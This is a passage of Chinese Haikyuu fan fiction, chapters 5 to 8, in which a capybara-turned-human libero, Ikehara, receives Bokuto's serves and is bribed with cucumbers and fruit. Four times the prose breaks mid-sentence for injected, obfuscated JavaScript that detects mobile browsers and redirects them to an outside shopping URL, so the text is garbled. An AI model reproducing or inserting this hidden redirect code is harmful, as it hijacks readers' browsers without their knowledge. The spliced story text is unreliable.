他正想把脸埋进外套领口,就感觉到一些目光似有若无地飘过来—— 和以前那种被忽略的感觉完全不同。 拖着球框的赤苇京治在他身边停下:“感冒了?” “……”池原光微微一顿,有些迟缓地转过头,他脸上还带着没睡醒的茫然,“……没有感冒,只是有点冷。” 他老实地把拉链拉到顶,将下半张脸藏了进去。 两只手手揣进兜里,眼睛眯起,微微露出满意的神色。 这时候木兔光太郎窜过来,疑惑地瞅了几眼把自己裹得严严实实的池原光。 木兔:“欸——不热吗?” 还不知道已经暗中被排球部其他人时刻注意着的池原光惬意:“不热哦。” 人类的衣服是极好的发明,既能像被阳光晒透的干草堆似的保暖,还能做到轻便舒适。 水豚同学喜欢学校是假的,喜欢穿衣服是真的! 他用脸颊在柔软的布料上蹭了蹭,表情美滋滋的。 已经穿上短袖的木兔没办法理解,但下一秒就把困惑抛到脑后,眼睛唰地亮起来,“既然你这么暖呼呼,来当我的发球陪练吧!” “让我这个王牌来测试一下你的防守极限!嘿——!” “……暖呼呼……好像跟接球没关系哦?”池原光歪头。 不过他的训练内容里面有接球这一项。 最开始这种需要两个人才能完成的训练内容,他还挺苦恼的。 因为害怕自己的非人身份被发现,刚开始熟练走路,偶尔还需要克服爬行本能的池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189161|197046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原光在人多的地方都是尽量降低自己的存在感。 训练是对着墙练,偶尔会被路过的非正选随便给他捡走,时常是两个混子敷衍地完成接球和发球训练,悄无声息地溜回家。 现在情况也差不多,只不过把他捡走的人是木兔光太郎。 那就……趁机完成了吧。 “快来啦快来啦——”木兔呼唤。 池原光听话地站在拦网对面。 还没摆好姿势,就先打了个哈欠,肩膀软软地塌下去,没什么干劲的样子。 说话间排球部其他人也围了过来,好奇地盯着场内。 “这就是猿杙说的那个很厉害的自由人吗?”有路人选手探脑袋。 旁边的人点点头:“听说接发一接一个准!尾白阿兰你知道吧,那个很牛的主攻手……” “他的球都能接住啊!没失手过?” “这不能吧!我们排球部这么卧虎藏龙?他前天跟我接球的时候还慢吞吞的呢!” “我也跟他一起练过球,叫啥来着……我想想……” “不认识就别装了好吧!我们自由人的热度不要蹭!” “我昨天亲眼看过他打球的!” “别吵了别吵了——厉不厉害马上就知道咯。” …… 池原光听不真切,但那些聚焦的目光让他有些不自在。 再度地把脸往衣领里埋了埋,浅金发少年只露出一双安静的眼睛。 远围观群众:? 缩成虾仁的姿势怎么接球? 木兔光太郎站在发球线附近,举了举球:“准备好了吧,我要开始了哦!” 池原光低低嗯了声。 他接的第一个又重又快的球,就是木兔光太郎打出来的。 虽然当时直接被拍飞,他心爱的水豚贴纸水杯也摔破了,但他相信经过了昨天比赛的特训,他已经不会再被木兔的球殴打。 而且他昨晚躺在浴缸里,发现屁股还是痛痛的,连忙上网学习了正确的卸力姿势。 现在他的屁股也不会再受伤。 所以现在是——完全准备形态的水豚同学! “——看我的!” 木兔光太郎气势如虹,念出自己的招数:“超级!高速!能量!炮弹球——!” 池原光略略抬起眼睫。 最遥远的底线处,木兔光太郎说完招数名称之后,立刻将球抛起。 助跑、起跳、抬臂—— 木兔的动作流畅得像一头舒展开羽翼的猛禽,充满野性的力量感。 跃至最高点的瞬间,他整个身体如同被空气托起般停滞,挥臂的轨迹快得几乎带出残影。 “砰——!” 蓄满力量的一球,声音仿佛震动了整个体育馆。 而球体撕裂空气,以惊人的速度旋转着直扑过来,目标直指池原光与边线之间的死角! 来了! 池原光像是警觉的动物,瞳孔微不可察地骤缩。 5. chapter5 刹那间,仿佛空气都收紧了。 如果说之前训练接的球都是小鸟轻啄,那么木兔光太郎这一球,就是鹰类的凌空扑击。球路并不算格外刁钻,但那纯粹的速度与力量,带着要将一切障碍都碾碎的锐意。 ——而池原光,是被唯一锁定的猎物。 场边已经下意识响起了抽气声。 别把人家砸进墙里了……大家都紧张地看向有些困倦的池原光。 这时——他们才发现这个自由人已经不在原来的位置了。 不是大幅度的跨步冲刺,甚至没有明显的预蹲。 他仅仅是左脚向后轻滑半步,身体重心侧转,整个动作轻得像是被球风带起的羽毛,却飘向了最合适的位置。 就在巨鸟的尖喙接近的时候,他恰好停在必经之路上。 “啪。” 清脆的响声。 那颗气势如虹的排球,在触及他小臂的瞬间,仿佛一头撞进了无比平静的温泉水池。所有狂暴的旋转与冲力,在一声轻响后就被驯服,再乖巧地弹开。 池原光顺着冲击力向后仰。 被他垫起的排球,听话地划出一道近乎完美的抛物线,不偏不倚地坠向球场中圈附近。 那里空无一人。 但所有人都知道,那是二传手接球最舒服的位置。 整个接球过程,从移动到触球再到缓冲,池原光都没费什么力。他甚至在那之后,才仿佛后知后觉地眨了一下眼睛,表情纯良还带点儿无辜。 “……” 场边瞬间静了一瞬,紧接着惊叹声低低地炸开。 “不是吧……那个球速,居然接得这么……稳?” “看起来根本没用力啊?” “何止是接起来,这落点控制……天赋异禀啊!” 网对面的木兔光太郎,保持着挥臂扣杀的姿势,彻底石化。 他瞪圆了眼睛,看看那颗刚刚还势如破竹,现在却温顺在地上弹跳的排球。 又猛地扭头,盯住对面接完球仿佛就要缩回阴影里的池原光。 ……可恶啊啊啊! 不仅接到了,还接得这么游刃有余!这么轻松愉快! 很快惊讶如潮水般褪去,取而代之的是熊熊燃烧的不服输和跃跃欲试的兴奋。 猫头鹰王牌的眼眸,瞬间被点亮得比体育馆顶灯还要耀眼。 “再来!!” 木兔光太郎的斗志被彻底激了起来。 池原光望着网对面那双闪闪发光的眼睛,默默揪着自己的衣领遮住半张脸,只留下一双明净却似乎透着些许无奈的琥珀色眼眸。 他晃了晃呆毛。 好像……又让麻烦的人类兴奋起来了。 …… “再来再来!这次不会让你这么简单就接到了!” 木兔光太郎从球框里捞出新球,信心满满地回到发球线后,浑身上下都写着四个大字。 ——干劲十足! 他找池原接球是有原因的。 昨天练习赛的时候,池原一下子就把宫侑的跳发球接起来了。 后面还有尾白阿兰的发球也是,几乎往池原那边发的球都稳稳地反弹到空中,他就像个黑洞似的,默不作声吸收了球上的力度和旋转。 这些他都看在眼里。 而且后半局,有池原在场上,对面几乎没有破坏一传的机会,导致他这个主攻手的发挥也稳定了许多,扣球的手感更美妙了。 他很喜欢这个新来的自由人! 啊……虽然赤苇说他人家是二年级的,不过之前没注意过呢,就当是新来的吧! 如果他能发出池原接不到的球,是不是证明他比尾白阿兰还厉害? 这么想着,木兔光太郎动力满满。 他大声催道:“池原快起来啦!” 池原光慢吞吞从地上爬起来,脑袋上的呆毛没什么精神的样子。 眨眼间,木兔的第二次发球已经破空而来。 这次目标是紧贴边线的角落! 肌肉线条流畅的手臂自然垂落,木兔光太郎还在空中,目光紧紧盯着对面浅金色的身影。 他看到池原光的视线随着球转动,身体却似乎迟钝了半秒,像是需要身体反应过来似的。直到球飞过半场,他才终于动了,向侧前方扑去。 手臂尽力伸出,指尖却与球体堪堪擦过。 “砰。” 球砸在界外地上。 “耶耶耶!这个没接到!”木兔光太郎高举双臂,欢呼雀跃。 而另一边,池原光扑倒在地,整张脸都皱了起来。 好痛!! 膝盖骨结结实实磕在了硬木地板上,砸出响声,他被沮丧感淹没。 排球与排球之间,果然也不相同。 接躺平咸鱼扔过来的球,和接木兔光太郎发过来的球,根本不是一个概念! 平时他都不需要跑的,对方会直接扔在他手上,生怕他接不到。 而木兔光太郎显然不想让他接到。 故意把球打在离他那么远的地方,他都扑在地板上了还没赶上。 自由人……好累哦。 怠惰的水豚灵魂开始无声呐喊。 已经倒在地板上,那就趁机歇息歇息吧……池原光索性躺着翻了个身。 他盯着高高的窗台,在脑海中回忆着刚才木兔光太郎发过来的那个球。 木兔光太郎的球又快又重,落点又是斜后方的位置,站在中线处的他想要把球接起来,必须得先转过身,再冲过去,抬臂接球。 要爆发才行。 而爆发……很累。 怠惰的豚又开始忍不住吐魂了:“……” …… 一秒钟有十万个想法的木兔前辈和思维模式略微异于常人的池原一起打球,作为“饲养员”的赤苇京治当然得在旁边盯着。 当看到池原光用那种轻飘飘的动作将木兔的第一个暴力发球稳稳垫起时,他目光顿住,某个深夜的画面瞬间闪过脑海—— 那是这学期刚开学时一次加练到很晚的队内赛,大家早就精疲力尽。这时候木兔前辈一记扣杀失误,球如炮弹般直射向敞开的体育馆门口。 就在所有人反应不及的瞬间,门口路过的人影几乎是本能地抬手一垫。 “啪。” 球被轻轻巧巧地送了回来,弧线平缓,落点精准。 等赤苇京治讶异地望过去,却只捕捉到咕噜咕噜滚到门外的狼狈背影。 以及从门框旁边掠过的头发,在灯光下看着像白色,又像银色,看不分明。 等一伙人反应过来追出去时,人家早就不见踪影了。 直到和稻荷崎的练习赛进行到焦灼时刻,他瞥到球场边静悄悄站起来的身影时想到…… 头发也可能是浅金色的。 所以他才会想要暂停,让池原光上场。 而池原光也证实了他的想法。 他确实是那天晚上无意展现出惊人接球能力的自由人。 在稻荷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189162|197046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崎练习赛上,他以一己之力拔高了整个枭谷的防守水平。 但弱点肯定还是有的,比如缺少网前保护的意识,以及调动身体的速度没那么快。 简称……启动慢。 比如木兔前辈的第二个发球,有意打向离池原较远的地方,果然池原就没接到。 不仅没接到,还直接倒在地上没动静了。 不会是又睡着了吧……? 赤苇京治连忙上前几步,弯腰探寻池原的状态。 眼睛还是睁着的,问题不大。 就是没什么高光,看到他出现了也只是呆呆地转动眼眸,几乎没什么反应。 像玩脱力的小动物似的。 他稍稍放下心。 …… 正当池原光的想法滑向“要不直接躺倒训练结束吧”的时候—— 一道关切的声音在头顶响起。 “池原,摔到哪里了?” 池原光慢吞吞地转动眼珠,看到赤苇京治不知何时已走到网边,正蹲下来看着他。 这位二传手的脸上没什么表情,但目光很温和——跟动物园里的饲养员如出一辙。 “膝盖……”池原光躺在地上想打滚。 熟悉的亲近感让他理直气壮说道,“我不想玩球了,不好玩。” 他这种接球后近乎空白的神态,赤苇并不陌生—— 昨天练习赛,池原光接连防起宫侑和尾白的强力发球时,脸上也是这种表情。 既不兴奋也不激动,只有一种“事情做完了”的平淡。 现在又说排球不好玩…… 所以他在排球部悄咪咪偷懒就是因为不喜欢打球? 这也说不通啊。 不喜欢的话直接退出排球部,投靠其他部门就好了。 “……” 想不明白的问题暂时抛之脑后,赤苇京治现在的任务是把这个躺在地上耍赖的自由人劝起来,要不然木兔前辈该催了。 “木兔前辈刚才的球,是故意发向边角的。”赤苇京治开口,试着安慰他,“那种球本来就不好接,需要提前预判和启动。” 池原光望着他,眨了眨眼:“……可是它好远。” 接起来费劲,不乐意接。 他之前在动物园里顶球都是用脑袋接的,一点都不用跑来跑去。 赤苇:“……” 这句纯粹基于距离和体感的抱怨,简单直接到让他一时语塞。 没有什么战术分析,也没有其他伟光正的原因,只有最朴实的情绪。 这种随心而为的性格,某种程度上比木兔前辈直线条的思维更棘手,同样的方法来解决两个人的问题并不适用。 ……他得多学习学习自由人的饲养经验才行。 “不是所有发球我都能接好的。”池原光叹了口气,手指无意识地揪着自己额前那缕不听话的呆毛,语气平淡地像是在聊天气,“比如刚才那个就不行。” 赤苇京治顿了顿,想宽慰他说“那个球本来就刁钻,就算是全日本高中部最好的自由人都不能保证自己能稳稳接住,但我们可以多练,在有了经验之后会更好地解决类似的球”的时候。 池原光很诚恳地,接上了自己刚才的抱怨—— “因为我太懒了。” “……” “………………” “…………………………” 接不好这样的球……仅仅是因为……太懒了……?!! 赤苇京治瞳孔地震。 6. chapter6 “因为我太懒了。” 一句轻飘飘的话像是大力跳发似的砸在赤苇京治耳膜上。 赤苇京治以为是自己听错了。 没接好那个球的原因仅仅是因为不想跑动吗? 那可是全国前五的主攻手用尽全力发出来的球啊! 而且开学到现在这段时间,除了练习扣球之外,木兔前辈的精力大部分都花在大力跳发上。 在这家伙眼里依然没什么威胁吗? 赤苇京治好半天才从震惊中回过神来,轻轻叹口气。 仔细想想也是…… 在练习赛中,池原可是连宫侑和尾白阿兰的跳发球也接的稳稳当当。并且这不代表他的接球能力上限就是这种程度,而是只表现出这种程度。 这么一琢磨池原光就更天才了。 就这个实力,在排球部默默无闻了一年多? 赤苇京治整个人都恍惚了。 那种由责任感而生出的“我作为副部长,竟然把这颗明珠放在替补席上吃灰,我简直愧对排球部愧对枭谷愧对排球这项运动”的无厘头想法此时正在疯狂袭击他的大脑。 他迟疑地伸出手:“……再接两个球试试?” 本来以为是反应机制不行,现在看上去是纯粹不想动? 他想看看池原到底能做到什么地步。 而且木兔前辈正在盯着这边呢,他怀疑池原如果再不爬起来,抱着球无聊等待的木兔前辈就要冲过来控诉他俩对待排球不认真了。 而时刻谨记打球的过程中最好不要忽然睡觉的池原光,正从地上坚强爬起。 其实他也不算是纯粹的懒,而是有理由的懒—— 作为保留着自然界生存理念的水豚,他的底层代码在他运动时为他们敲响警钟。 ——这个球要去接吗?这是危险的信号噢…而且这只是游戏吧?在公园里和饲养员顶球的那种游戏噢,没必要全力以赴去接的。在这种时候花太多精力万一真正的危险出现跑不掉了怎么办?豚会死掉的!! 所以本能地躺倒,享受偷懒人生。 但人类貌似不怎么考虑能耗问题……? 这些打排球打篮球打棒球……打得嗷嗷叫的高中生们尤其如此。 人类果然是奇怪的生物! 池原光磨磨蹭蹭地起身,等白皙修长的手掌贴心地伸到面前,池原光立刻把手搭上去,没骨头似的让赤苇把自己拽起来。 接球嘛…… 他暂时还是可以的。 豚懒是懒了点,但四肢还是健全的哦。 就算木兔的球很重很难接,但也不至于让他体力清零,玩玩还是可以的。 池原光扯了扯外套的袖子,眼神轻轻地落在木兔光太郎身上,做好接球准备。 即使他在内心祈祷木兔光太郎的球往他身上发,但第三个球木兔光太郎还是选择与上个球完全相反的方向,另一边的边线! ……好远。 池原光瞳孔微缩,捕捉着球的轨迹。 他这次启动更快了些,花了少许时间克服慵懒缓慢的本能,他挪动脚步,跨过去。 球的方向急转,直冲网前。 池原光隔着布料摸了摸被震麻的手臂,弯腰把球捡起来。 他站在球落下的位置,回头看自己刚才接球的位置,眉眼耷拉下去。 这个球看似救起来了,其实二传是很难接到的。 他刚成为人类的时候,就上网仔细了解过排球规则,在排球部暗中窥探的时间里他也看过很多场比赛。 所以他能看出来,刚才这个球离网太近了,就算接起来,二传也很难组织有效的进攻。 ……这个球没接好! 他在网下面把球推给木兔:“…你继续发。” “嗯哼哼!”见到能接起尾白阿兰发球的自由人在自己手上连连失利,木兔光太郎高兴得快要哼歌了,他愉快地把球握在手里,摆了个帅气的pose。 “承认吧!本王牌的发球实力已经超过尾白阿兰了!” “池原内心是不是很膜拜我?毕竟我可是超级无敌王牌选手!” “接下来我也不会让你接住的哦,别哭!” 池原光:我就说排球部很吵吧……! 而赤苇京治已经见怪不怪了,只在旁边默默观察。 接下来木兔的发球依然是冲着刁钻的位置去,除去几个不小心出界的球,可以看出他的发球水平确实越来越成熟了。 但池原光也接得越来越好。 好像每个球过后,他的反应速度都要更快一些,落位也更及时。 木叶秋纪站在场外擦汗,看了会儿之后忍不住惊叹。 “啧啧,两个球就能接到这种程度吗,好可怕。” “准确来说算是四个。”他身边的赤苇京治纠正道,“在木叶前辈来之前,池原还有两个球的失误。” “那也很天才了好吧!”木叶感叹,“这可是他一个人防半场。” 跟他们关系很好的音驹高校以防守著称,两个学校经常打练习赛,自由人夜久卫辅没少让他们这几个攻手吃苦头。 现在这么看,池原的天赋不比夜久低。 不过自由人这个位置也是很吃经验的,从昨天的表现来看,池原的经验显然跟夜久没法比,特别是在网前保护这方面。 “可恶!这个球不算!”木兔光太郎超大声。 这个球的落点太靠中间了,没有发好,他下个球绝对不会被接住的! 一连被接住好几个,他气呼呼地从球框里拿出新的,用力握在手里。 就在他认真思考这次应该从哪个角度发的时候,对面的人出声了。 “我不打了。”池原光说道。 他声音带着特有的轻飘飘的感觉,语气也没有在赌气,只是陈述一个事实。 木兔光太郎懵住:“……啊,为什么?” 怎么就不打了,他的手感才刚刚火热起来呢。 池原光认真:“教练规定的任务量是接20个球,我已经完成了。” 一筐就是20个,他记得清清楚楚。 而且他接发球主要是为了学习把刚才那种角度的球接起来,传到二传手所在的位置,现在他觉得自己可以做到了,就没必要练了。 他还得做两组下肢力量训练呢,完成之后他就可以回家。 回家泡水水! 豚还是最喜欢家了,喜欢家里的浴缸! 木兔光太郎把球抱在怀里,张了张嘴想说什么。 而池原光已经则径直走到角落里了,认真做深蹲。 …… 木叶秋纪:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189163|197046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 赤苇京治:“……” 短暂的沉默之后,两个人迅速瞄向满脸茫然的木兔光太郎。 果不其然,木兔脸上的茫然很快转换成委屈和沮丧,眼巴巴地望向场外。 “大事不妙!”木叶秋纪唰地就溜走了。 只留下赤苇京治在原地承受木兔光太郎的目光。 “……”赤苇京治按按眉心。 果不其然,很快木兔光太郎跑到赤苇京治面前,手脚乱七八糟地比划,告状似的:“赤苇,池原这家伙完全不听我说话!” 没法溜的赤苇京治只好开启饲养猫头鹰模式,他表情不变:“非正选的话,接球训练量确实只有这么多,木兔前辈找其他人合作看看?” 非正选和正选之间,排球部的训练安排差别挺大的。非正选更轻松也更自由,连队内赛都可以不参加,除非教练亲自要求。 这也是池原光能悄悄隐身一年多都没被发现的原因。 简直是被他抓到漏洞了。 赤苇暗暗决定,以后提议教练让正选与非正选之间也要多加交流,最好每个月安排个能力测试什么的,以免发生池原这种情况。 木兔光太郎低落:“……好嘛。” 火热的手感渐渐冷下去,他吸吸鼻子,晃晃悠悠钻到鹫尾辰生和猿杙大和那边去。 跟着他们俩练了几组耐力训练,木兔的目光又忍不住飘向墙角独自做深蹲的池原光。 那家伙接球的动作……从生疏到熟练的速度快得惊人。 木兔还记得他后面几个发球被接起时的感觉——有时候虽然落点不好,但能够股精准追到球路的能力,是不容置喙的。 自己发过去的球总是被拦住。 有点像振翅而飞的巨禽即将被地面上弹射而出的捕网而束缚住。 “好想再试试……” 直觉系王牌嘀咕着,欲哭无泪的表情。 他身边的猿杙大和看不过去了,决定给他支招。 “木兔,我告诉你哦。”他勾勾手指,对着凑过来的木兔光太郎小声说了一通,“所以啊你现在必须……” 木兔:“!” 两个人密谋一番之后,木兔光太郎脑袋上冒出闪亮的感叹号。 绝妙的主意冒了出来! …… 安抚完木兔光太郎,又确定池原光没有负面情绪之后,赤苇京治开始了他自己的训练。 尽管和池原光相处的时间很短,但他隐隐约约能猜出来他脾气应该挺不错的。 从临时让他上场到现在,总体来说都很配合。 那他为什么整个高一都在排球部划水摸鱼呢? 难道是想要成为漫画中“默默苦练排球技术等必要的时候一鸣惊人让所有人膜拜”的那种角色? ……自己竟然真的在思考这种中二的可能性。 只能说这两天想这个问题想太多次了,逐渐往离谱的方向发展。 赤苇京治抛开思绪,专心训练。 等他再转头的时候,发现如狼似虎的木兔前辈正把池原光堵在墙角。 赤苇京治:“?!!!” 他火速抱着排球赶过去。 还没接近的时候,他听到木兔前辈的声音—— “池原,我找到让你乖乖接球的办法了!” 7. chapter7 池原光刚做完两组深蹲,就感觉到一大团漆黑的影子笼罩着自己。 他抬头一看,是木兔光太郎那双好奇又莫名有些忌惮的金褐色眼眸。 “……!” 池原光呆毛倏然挺立,不好的预感袭来。 就对视了短短半秒,本来就是蹲着的池原光,立刻腿一歪,身体倒下去。 就这么圆润地滚开了。 不过他本来就是在靠墙的位置,只能滚到墙角。 他把宽大的运动外套掀起来,盖在自己脸上,假装自己已经消失。 ——哪怕是他这种不太通人性的水豚,也知道木兔光太郎绝对是来找他接球的。 他可不想再继续了,这家伙扣球力量太重,哪怕学会卸力还是很容易被撞翻。 豚也是有痛觉神经的啦! 木兔光太郎:“……?” 猫头鹰王牌脑袋上的感叹号变成巨大的问号。 他看不明白池原光这一系列操作是想干嘛,不过他能动手的时候就不会过多思考。于是——还在闭眼假寐,即将真的进入睡眠的池原光,被力大无穷的猫头鹰从外套里直接挖了出来。 木兔光太郎伸出手指头戳戳他:“池原池原池原,来接球嘛!” 蜷在角落里的浅金发少年眼睛闭得死死的,悄悄抬手把耳朵捂住了。 木兔光太郎哼哼两声,从怀里摸出来自己的“法宝”。 几分钟之前—— 他垂头丧气地拉着木叶秋纪控诉完池原的行为之后,旁边的猿杙大和提议说,池原光貌似挺喜欢吃素菜的,可以试着诱惑他一下。 木兔光太郎脑袋上亮起灯泡。 但是很快就熄灭了。 就像爱迪生想发明灯泡却把灯芯用成了钨丝那样,飞快熄灭了。 ……现在让他从哪里去找素菜啊!! 木兔光太郎苦恼得团团转,正好撞到路过的白福雪绘,脑门上的灯又啪地亮起来——他记得小雪最近说是减肥,很喜欢吃水果黄瓜来着! 而且黄瓜生的也可以吃,他立马去小雪的便当袋里掏了一根。 ——回到现在。 “池原,我找到让你乖乖接球的办法了!” 木兔光太郎兴高采烈。 池原光充耳不闻。 “装睡觉也没用——”木兔把水果黄瓜拿出来,“看我的法宝!” 见证奇迹的时刻! 下定决心的木兔光太郎把水果黄瓜慢慢伸过去。 还没递到池原光面前,就看到那双琥珀眸倏地睁开了,明亮的琥珀色像是被水洗过的玻璃。 无声地从外套里钻出来,池原光头顶的呆毛晃了晃。 他眼神还盯着他手里的绿色黄瓜,喉咙不自觉滚动。 哦哦哦有效果! 木兔光太郎都要手舞足蹈了,连忙说:“你给我接球,我把这个给你吃好不好?” 池原光咽了咽口水:“……” 在对于瓜果蔬菜的渴望之下,他瞬间忘了怎么使用人类的语言。 “好不好嘛?”木兔不放弃。 池原光好半天才组织好语言:“接……十个。” 木兔光太郎:“成交!” “我要先吃了才可以。”池原光慢吞吞地说。 木兔光太郎大方地递过去:“那你吃快点哦,我都要等不及啦。” 然后他就看到,做什么都懒洋洋的池原光,利索地坐起来,那根黄瓜被他双手捧着,在咔嚓咔嚓声中光速消失。 木兔光太郎:“欸欸欸——?!” 快得都像黄瓜没有存在过!! 池原光舔舔唇,指尖还残留着黄瓜清爽的气息。 他站起来,感觉手臂因为之前的接球还有点隐隐的麻,“来…打球吧。” 可能是木兔光太郎积极的态度感染了他,又或许是爽口的黄瓜化成了最原始的动力,撑着手站起来的池原光微妙地接受了需要接木兔光太郎那种会让手臂很痛的球的事实。 被进食速度震惊到的木兔光太郎响亮地“哦!”了声。 这次他要试试更靠近边线的旋转球,让池原接不到! 靠近角落里的长线球压线球也要试试! 跑向球场的时候,心思简单的木兔罕见地盘算着: 如果地上这摊软软的家伙真的因为吃的就能动起来,那下次练习赛前是不是该准备点储备粮,他可以拿零花钱买很多很多水果。 这也是王牌路上必要的付出! …… 听到这边的动静,不少训练已经结束打算离开的队员们都停住了脚步。 “木兔那家伙……精力用不完啊。” “欸——你不是要回家追番么?怎么又把鞋换回来了。” “追番哪有偷师重要,我多看看……说不定我也能让木兔求我接球呢。” 主攻手有些好笑地望着自己的自由人好友,心情复杂。 这家伙刚入部的时候还挺积极的,没选上首发之后就开始无限摆烂了,这么三天打鱼两天晒网也到了三年级,竟然也有想努力的时候? “别这么看着我啊喂。”自由人有些不自在。 他望向场内,那个明明看上去懒洋洋的自由人,接球的动作却精准而迅捷。 每次移动都没多费半分力气,再狂躁的球在他手里也变得温顺…… 好酷!! 这才是他理想中的自由人的模样! “是不是忽然理解我了?”主攻手勾起唇角,顺着他的目光望向球场,“理解我为什么当不上首发,但还是自己按照正选的运动量训练。” 自由人:“……” 主攻手说得没错。 他曾经真的很疑惑自己的好友为什么这么努力。 从他们入部的时候就发现,这里天才济济。在他们还是一年级的时候,必须要仰望前辈们的身影,无论是能力还是经验,他们都差得远。 熬到前辈们引退就可以了,他们总有机会的。 ——大多数参加社团的国中生或高中生会这么想吧。 但在枭谷排球部,这是不可能的。 这所全国知名的排球强校里天才如同过江之鲫,相比于才能出色的前辈们,那些被排球之神眷顾的同辈甚至是后辈,才是最打击自信心的。 尤其是和他们同届的木兔光太郎。 他太闪耀了,不管是枭谷还是其他学校的人,没人会忽略他的光芒。 他永远是人群中最亮眼的那个,像是高高挂在天上的太阳。 而他们这些普普通通没有天赋的选手,只能活在太阳的炙烤之下。 于是他就放弃了。 原因很简单啊,即使不是用跟他争抢同一个位置,但如果你发现——自己需要花费百分之百的精力才能完成的事,别人轻轻松松就完成了,还比你的效果更好——你也会放弃的吧。 更何况这些天才往往比你更努力。 木兔那家伙不仅在排球上天赋异禀,还愿意付出时间与汗水。 与他的做法背道而驰的是—— 和他相约加入排球部的主攻手朋友一直在努力,并且是越来越努力。 三年的时间里,哪怕在这个不久之后就会引退的时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189164|197046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节点,他还是很努力。 他也想过原因,但一直没有答案。 此时此刻他终于想通—— 对于自己来说,同行的天才是鞋子里的沙砾,而对于好友来说,能力出众且富有人格魅力的王牌是明亮的灯塔。 “你看着木兔光太郎的时候,心里想的不是成为他。”自由人无师自通,“而是——如果我有一天能走得比他更快更远……” “是!”主攻手点头,毫不掩饰自己的目标,“我要当比木兔更厉害的王牌,打更好的排球!” 对于主攻手来说,木兔光太郎像是行途中的光标。 他不用思考任何事,只需要跟随着目光中的光标前进就可以了。 自由人:“……” 忽然搞这么热血干什么,让人很火大啊喂。 半晌之后,他别过头,些许别扭的语气,“那我当比池原更好的自由人好了。” “欸?”主攻手歪歪头,“为什么不是可爱的小见?” 自由人额头爆出青筋:“他说话太讨厌,我不喜欢他!” 主攻手:“那你还隔三差五给他塞能量棒,给他买雪糕,准备生日礼物?” 自由人:“……啰嗦!” 主攻手望向颇有些气急败坏的好友,但笑不语。 …… “hey!” 到现在依然不知道自己是枭谷主攻界白月光的木兔光太郎,在场上发出凌厉的一球。 池原光飞扑去接。 没有回合制的你来我往,每个球都结束地很快。 接完十个球之后。 池原光晃晃呆毛:“我得走了。” 还沉浸在发球喜悦中的木兔:“……” “不要啊!!”木兔光太郎又去掏白福雪绘的便当袋,摸出第二根水果黄瓜,献宝似的捧到池原光面前,“再来十个球!” 他发现自己需要不断调整发球角度和力度,才能让池原真正动起来去救球。这不仅能让他的发球技术越发精进,还比他单纯练发球有意思多了! 又十个球过后。 池原光:“我要回家了。” 在白福雪绘杀人的目光中,木兔光太郎翻出她的青枣:“这个可以换吗?!!” 池原光顿了顿,目光在那两颗青枣上停留了半秒。 身体还在微微发热,手臂的麻痹感已经被一种吃水果的满足感取代了些许。 “青枣、算两个球。” 啊……两个根本不够嘛! 木兔光太郎鼓鼓脸,拿新的球:“先打了再说!” 那一天,整个排球部都在为了木兔光太郎的跳发球大计,众筹自己包里的水果蔬菜。 连暗路教练在更衣室窗台上种的小番茄都被摘光了! 而围观全过程的泷泽良文站在角落里,拨通了有事缺席的暗路建行的电话。 “我要说的是,你的番茄没有了。” 泷泽良文说完之后,立刻十分有经验地把听筒拉远了些。 听筒里传来意料之中的咆哮声,他掏掏耳朵详细说明了今天某位自由人的训练表现。 最后,他询问道:“对于池原的考察到此结束了吧?” “……” 听着手机对面的分析,泷泽良文看向收拾东西打算离开的少年,露出满意的笑容。 “我觉得他已经给出了完美的答卷,如果你还觉得需要保障的话……” 暗路教练爽快:“再安排一场队内赛吧。” “也行,但有个问题……”泷泽良文沉吟片刻,“他的健康档案,你必须要看看。” 8. chapter8 今天也接得太多了! 池原光走出排球部的时候,浑身散发着低沉的气息。 毫无志气地被水果诱惑后接了好多球,不仅木兔盯着他,更多的人都在注意着他。 从被木兔的扣球拍飞那次开始,他隐隐可以感觉到暗路教练和泷泽老师对他忽然关注了起来,是那种带着善意的审视与判断,很难忽略。 